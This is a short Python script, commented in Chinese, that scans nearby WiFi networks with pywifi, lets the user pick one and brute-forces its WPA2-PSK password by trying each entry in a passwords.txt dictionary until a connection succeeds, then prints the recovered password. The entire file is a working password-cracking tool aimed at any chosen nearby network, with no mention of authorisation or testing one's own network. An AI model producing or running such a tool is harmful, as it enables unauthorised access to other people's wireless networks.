import subprocess
import sys
import os
import time
from wireless import Wireless
from pywifi import PyWiFi, const
import pywifi

def scan_wifi():
    """扫描附近的WiFi网络"""
    wifi = PyWiFi()
    iface = wifi.interfaces()[0]  # 获取第一个无线网卡
    
    iface.scan()
    time.sleep(2)  # 等待扫描完成
    
    networks = iface.scan_results()
    print("\n可用的WiFi网络:")
    for i, network in enumerate(networks):
        print(f"{i+1}. {network.ssid} (信号强度: {network.signal})")
    return networks

def try_password(iface, network, password):
    """尝试连接WiFi"""
    profile = pywifi.Profile()
    profile.ssid = network.ssid
    profile.auth = const.AUTH_ALG_OPEN
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    profile.cipher = const.CIPHER_TYPE_CCMP
    profile.key = password

    iface.remove_all_network_profiles()
    tmp_profile = iface.add_network_profile(profile)

    iface.connect(tmp_profile)
    time.sleep(2)  # 等待连接

    if iface.status() == const.IFACE_CONNECTED:
        return True
    else:
        return False

def crack_wifi(network):
    """尝试破解WiFi密码"""
    wifi = PyWiFi()
    iface = wifi.interfaces()[0]

    print(f"\n正在尝试破解 {network.ssid}...")
    
    # 从密码字典文件中读取密码
    with open('passwords.txt', 'r') as f:
        passwords = f.readlines()

    for password in passwords:
        password = password.strip()
        print(f"尝试密码: {password}")
        
        if try_password(iface, network, password):
            print(f"\n成功! {network.ssid} 的密码是: {password}")
            return password
    
    print("\n未能找到正确的密码")
    return None

def main():
    print("WiFi扫描器启动中...")
    
    # 扫描WiFi
    networks = scan_wifi()
    
    if not networks:
        print("未找到WiFi网络")
        return

    # 选择要破解的网络
    choice = int(input("\n请选择要破解的WiFi网络 (输入编号): ")) - 1
    if choice < 0 or choice >= len(networks):
        print("无效的选择")
        return

    # 开始破解
    crack_wifi(networks[choice])

if __name__ == "__main__":
    main() 